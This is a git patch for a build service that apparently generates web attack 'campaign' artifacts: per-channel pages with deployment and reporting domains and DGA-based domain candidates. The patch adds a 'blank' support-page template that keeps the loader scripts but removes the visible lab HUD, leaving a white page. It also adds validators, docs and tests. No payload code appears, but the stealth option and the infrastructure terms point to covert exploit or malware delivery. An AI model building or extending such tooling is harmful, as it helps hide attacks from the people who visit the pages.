From 9153a4f557b7bd33ca89a38e5aaee151d4bb5737 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sun, 9 Aug 2026 02:42:45 +0800 Subject: [PATCH] admin --- README.md | 3 +- build_api/app.py | 18 ++++++++ build_api/service.py | 2 + docs/BUILD_API.md | 13 +++++- frontend/source/templates/support/README.md | 10 +++++ frontend/source/templates/support/blank.html | 41 +++++++++++++++++ frontend/tools/README.md | 8 +++- frontend/tools/new_project.py | 46 +++++++++++++++++++- tests/test_build_api.py | 20 +++++++++ 9 files changed, 155 insertions(+), 6 deletions(-) create mode 100644 frontend/source/templates/support/README.md create mode 100644 frontend/source/templates/support/blank.html diff --git a/README.md b/README.md index 7d0b93d..bdcaebd 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,8 @@ python3 -m build_api python3 frontend/tools/new_project.py \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --deployment-domains 'www.dep.example' \ - --reporting-domains 'www.rep.example' + --reporting-domains 'www.rep.example' \ + --support-template test # 或 blank(无 HUD 空白页) ``` ## Tests diff --git a/build_api/app.py b/build_api/app.py index bc0484f..6b7ba81 100644 --- a/build_api/app.py +++ b/build_api/app.py @@ -26,11 +26,16 @@ CHANNEL_PATH = Path( bearer_scheme = HTTPBearer(auto_error=False) +SUPPORT_TEMPLATES = ("test", "blank") +DEFAULT_SUPPORT_TEMPLATE = "test" + + class BuildRequest(BaseModel): model_config = ConfigDict(extra="forbid") deployment_domains: List[str] = Field(min_length=1, max_length=8) reporting_domains: List[str] = Field(min_length=1, max_length=8) + support_template: str = Field(default=DEFAULT_SUPPORT_TEMPLATE) force: bool = Field(default=False, strict=True) @field_validator("deployment_domains", "reporting_domains") @@ -41,6 +46,16 @@ class BuildRequest(BaseModel): raise ValueError("domain entries must be non-empty strings") return value + @field_validator("support_template") + @classmethod + def support_template_must_be_known(cls, value: str) -> str: + template = value.strip().lower() + if template not in SUPPORT_TEMPLATES: + raise ValueError( + f"support_template must be one of: {', '.join(SUPPORT_TEMPLATES)}" + ) + return template + def _error_response(status: int, code: str, message: str) -> JSONResponse: return JSONResponse( @@ -67,6 +82,8 @@ def _validation_message(exc: RequestValidationError) -> str: return f"unknown fields: {loc[-1]}" if "force" in loc and error_type.startswith("bool"): return "force must be a boolean" + if "support_template" in loc: + return f"support_template must be one of: {', '.join(SUPPORT_TEMPLATES)}" if any(part == "channel_id" for part in first.get("loc", ())): return "channel id must be 32 lowercase alphanumeric characters" if loc and loc[-1] in {"deployment_domains", "reporting_domains"}: @@ -182,6 +199,7 @@ def create_application( "reporting_domains": BuildService.normalize_domains( body.reporting_domains, "reporting_domains" ), + "support_template": body.support_template, } status, payload, headers = service.build( channel_id, request_input, force=body.force diff --git a/build_api/service.py b/build_api/service.py index 9cf4be3..4ba69c8 100644 --- a/build_api/service.py +++ b/build_api/service.py @@ -208,6 +208,8 @@ class BuildService: command.extend(["--deployment-domains", domain]) for domain in request_input["reporting_domains"]: command.extend(["--reporting-domains", domain]) + support_template = str(request_input.get("support_template") or "test") + command.extend(["--support-template", support_template]) return subprocess.run( command, cwd=str(Path(__file__).resolve().parent.parent), diff --git a/docs/BUILD_API.md b/docs/BUILD_API.md index be67a3f..2918753 100644 --- a/docs/BUILD_API.md +++ b/docs/BUILD_API.md @@ -62,9 +62,15 @@ python new_project.py \ --root /staging/ \ --channel-id \ --deployment-domains ... \ - --reporting-domains ... + --reporting-domains ... \ + --support-template test|blank ``` +`support_template` selects the `web/support.html` page: + +- `test` (default): current source campaign page with lab HUD +- `blank`: loader scripts only, no HUD UI (white blank page) + It must create a channel-scoped tree below `--root`: ```text @@ -107,10 +113,13 @@ curl -i -X POST \ https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/build \ -d '{ "deployment_domains": ["deploy.example"], - "reporting_domains": ["report.example"] + "reporting_domains": ["report.example"], + "support_template": "test" }' ``` +`support_template` is optional (`test` by default). Allowed values: `test`, `blank`. + The first successful build returns `201`; the same normalized input returns `200`. A busy channel or conflicting existing release returns `409`, and an invalid channel, JSON body, domain, or field returns `422`. diff --git a/frontend/source/templates/support/README.md b/frontend/source/templates/support/README.md new file mode 100644 index 0000000..0860c3c --- /dev/null +++ b/frontend/source/templates/support/README.md @@ -0,0 +1,10 @@ +# support.html templates + +Build-time choices for `web/support.html` (`--support-template` / API `support_template`): + +| Name | Source | Description | +|------|--------|-------------| +| `test` | campaign copy under `source/web//support.html` | Current lab HUD progress UI | +| `blank` | `blank.html` in this directory | Same loader scripts, no HUD markup/JS | + +Default is `test`. diff --git a/frontend/source/templates/support/blank.html b/frontend/source/templates/support/blank.html new file mode 100644 index 0000000..02a515d --- /dev/null +++ b/frontend/source/templates/support/blank.html @@ -0,0 +1,41 @@ + + + + + + + + + + + + + + + + diff --git a/frontend/tools/README.md b/frontend/tools/README.md index f80af96..6d14c9f 100644 --- a/frontend/tools/README.md +++ b/frontend/tools/README.md @@ -16,16 +16,20 @@ pip3 install -r requirements.txt python3 frontend/tools/new_project.py \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --deployment-domains 'www.dep1.example,www.dep2.example' \ - --reporting-domains 'www.rep1.example,www.rep2.example' + --reporting-domains 'www.rep1.example,www.rep2.example' \ + --support-template test # test=HUD 进度页;blank=空白页 python3 frontend/tools/new_project.py \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --root '/srv/coruna-artifacts/staging/request-id' \ --force \ --deployment-domains 'www.dep1.example' \ - --reporting-domains 'www.rep1.example' + --reporting-domains 'www.rep1.example' \ + --support-template blank ``` +`support_template`:`test`(默认,source 中带 HUD 的页面)或 `blank`(去掉 HUD,仅保留加载逻辑)。 + 产物: - 默认:`artifacts/channel//{web,sync,out}/` diff --git a/frontend/tools/new_project.py b/frontend/tools/new_project.py index c877819..0d56761 100644 --- a/frontend/tools/new_project.py +++ b/frontend/tools/new_project.py @@ -27,6 +27,9 @@ SOURCE_ROOT = FRONTEND_ROOT / "source" ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts" LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" +SUPPORT_TEMPLATES = ("test", "blank") +DEFAULT_SUPPORT_TEMPLATE = "test" +SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support" def _ignore_junk(_dir: str, names: list[str]) -> set[str]: @@ -40,6 +43,34 @@ def replace_tree(src: Path, dst: Path) -> None: shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) +def normalize_support_template(value: str | None) -> str: + template = (value or DEFAULT_SUPPORT_TEMPLATE).strip().lower() + if template not in SUPPORT_TEMPLATES: + raise SystemExit( + f"unsupported --support-template {value!r}; " + f"choose one of: {', '.join(SUPPORT_TEMPLATES)}" + ) + return template + + +def apply_support_template(campaign_dir: Path, template: str) -> None: + """Replace web/support.html according to the selected template. + + test — keep the campaign copy (current source HUD page) + blank — overwrite with templates/support/blank.html (no HUD UI) + """ + template = normalize_support_template(template) + dest = campaign_dir / "support.html" + if template == "test": + if not dest.is_file(): + raise SystemExit(f"missing support.html after campaign copy: {dest}") + return + src = SUPPORT_TEMPLATE_ROOT / f"{template}.html" + if not src.is_file(): + raise SystemExit(f"missing support template: {src}") + shutil.copyfile(src, dest) + + def copy_campaign_template(dst_campaign: Path) -> None: src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID if not src.is_dir(): @@ -178,6 +209,15 @@ def main() -> int: default=5, help="DGA candidates for patch_all when rebuilding sync (default 5)", ) + parser.add_argument( + "--support-template", + default=DEFAULT_SUPPORT_TEMPLATE, + choices=SUPPORT_TEMPLATES, + help=( + "support.html template: test (source HUD page) or blank " + "(no HUD UI; default: test)" + ), + ) args = parser.parse_args() src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID @@ -188,6 +228,7 @@ def main() -> int: raise SystemExit(f"missing source sync: {src_sync}") fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains) + support_template = normalize_support_template(args.support_template) channels_root = ARTIFACTS_ROOT / "channel" channel = ( validate_channel_id(args.channel_id) @@ -209,6 +250,7 @@ def main() -> int: print("=== new_project ===") print(f"channel: {channel}") print(f"web dest: {campaign_dir}") + print(f"support: template={support_template}") print("domains: rebuild isolated web + sync") print(f" deployment: {', '.join(fixed_dep)}") print(f" reporting: {', '.join(fixed_rep)}") @@ -216,8 +258,9 @@ def main() -> int: print("=== copy campaign template ===") copy_campaign_template(campaign_dir) + apply_support_template(campaign_dir, support_template) replace_tree(src_sync, sync_dir) - print("created web/ + sync/") + print(f"created web/ + sync/ (support_template={support_template})") domain_args: list[str] = [] for item in fixed_dep: @@ -259,6 +302,7 @@ def main() -> int: release_manifest = { "schema_version": 1, "channel_id": channel, + "support_template": support_template, "deployment_seed": dep, "reporting_seed": rep, "deployment_domains": fixed_dep, diff --git a/tests/test_build_api.py b/tests/test_build_api.py index c3163ee..325725d 100644 --- a/tests/test_build_api.py +++ b/tests/test_build_api.py @@ -38,6 +38,7 @@ class BuildApiTest(unittest.TestCase): parser.add_argument("--force", action="store_true") parser.add_argument("--deployment-domains", action="append", default=[]) parser.add_argument("--reporting-domains", action="append", default=[]) + parser.add_argument("--support-template", default="test") args = parser.parse_args() counter = pathlib.Path(__file__).with_name("build-count") count = int(counter.read_text()) if counter.exists() else 0 @@ -160,11 +161,26 @@ class BuildApiTest(unittest.TestCase): ) self.assertEqual(CHANNEL, arguments["channel_id"]) self.assertTrue(arguments["force"]) + self.assertEqual("test", arguments["support_template"]) + self.assertEqual("test", payload["manifest"]["input"]["support_template"]) status, current, _ = self.request("GET", f"/v1/channels/{CHANNEL}") self.assertEqual(200, status) self.assertEqual(payload["manifest"], current["manifest"]) + def test_support_template_is_passed_to_builder(self) -> None: + status, payload, _ = self.request( + "POST", + f"/v1/channels/{CHANNEL}/build", + self.valid_body(support_template="blank"), + ) + self.assertEqual(201, status) + self.assertEqual("blank", payload["manifest"]["input"]["support_template"]) + arguments = json.loads( + (self.service.channels / CHANNEL / "out" / "arguments.json").read_text() + ) + self.assertEqual("blank", arguments["support_template"]) + def test_identical_build_is_idempotent(self) -> None: first, _, _ = self.request( "POST", f"/v1/channels/{CHANNEL}/build", self.valid_body() @@ -252,6 +268,10 @@ class BuildApiTest(unittest.TestCase): f"/v1/channels/{CHANNEL}/build", self.valid_body(extra=True), ), + ( + f"/v1/channels/{CHANNEL}/build", + self.valid_body(support_template="hud"), + ), ] for path, body in cases: with self.subTest(path=path, body=body):